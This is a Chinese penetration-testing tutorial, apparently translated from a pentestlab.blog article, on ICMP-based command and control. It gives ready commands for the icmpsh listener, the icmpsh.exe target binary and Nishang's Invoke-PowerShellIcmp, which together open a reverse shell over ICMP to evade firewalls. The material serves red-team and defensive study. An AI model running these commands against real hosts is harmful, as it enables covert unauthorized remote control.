内网中的大多数系统都位于防火墙和企业代理之后,以便控制入口以及出口流量。防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。
使用icmpsh(https://github.com/inquisb/icmpsh)工具可用来执行此攻击。推特上的大牛@Bernardo Damele已经将其导入到他的工具sqlmap中,可以使用-os-pwn选项来发起攻击。
以下命令将禁止ICMP回显,这对于工具正常使用是至关重要的,启动一个监听器,该监听器将等待目标主机的ICMP数据包:
代码语言:javascript复制sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 192.168.100.3 192.168.100.4
icmpsh工具中还包含需要在目标主机上传输和执行的二进制文件。以下命令将向监听主机发送ICMP包:
代码语言:javascript复制icmpsh.exe -t 192.168.100.3
ICMP Shell – Executing Binary
一个shell将通过ICMP接收,并且也可以通过这个管道来执行命令。
Daniel Compton(https://twitter.com/commonexploits)开发了一个自动化过程的脚本。此脚本所需的唯一输入是目标主机的IP地址。该脚本包含在icmpsh(https://github.com/inquisb/icmpsh)中。
ICMP Shell - 自动化
工具有多个选项的命令和控制。
PowerShell框架
在Nishang框架中包含一个PowerShell模块,可以与icmpsh python脚本结合使用,以获取ICMP上的shell。在主机上,执行下面命令将会开始监听ICMP数据包。
代码语言:javascript复制./icmpsh_m.py 192.168.100.3 192.168.100.4
在目标主机上,PowerShell的Icmp模块仅需要主IP地址:
代码语言:javascript复制Import-Module .Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.100.3
Nishang模块 - ICMP Shell
PowerShell - ICMP Shell
参考资料
代码语言:javascript复制https://attack.mitre.org/wiki/Command_and_Control
http://bernardodamele.blogspot.co.uk/2011/04/reverse-connection-icmp-shell.html
https://github.com/inquisb/icmpsh
https://github.com/samratashok/nishang
http://leidecker.info/downloads/index.shtml
https://github.com/nocow4bob/PiX-C2
https://github.com/sincoder/icmp_shell
https://github.com/Darkpaw95/ICMP_Rev_shell
文章来源:
代码语言:javascript复制https://pentestlab.blog/2017/07/28/command-and-control-icmp/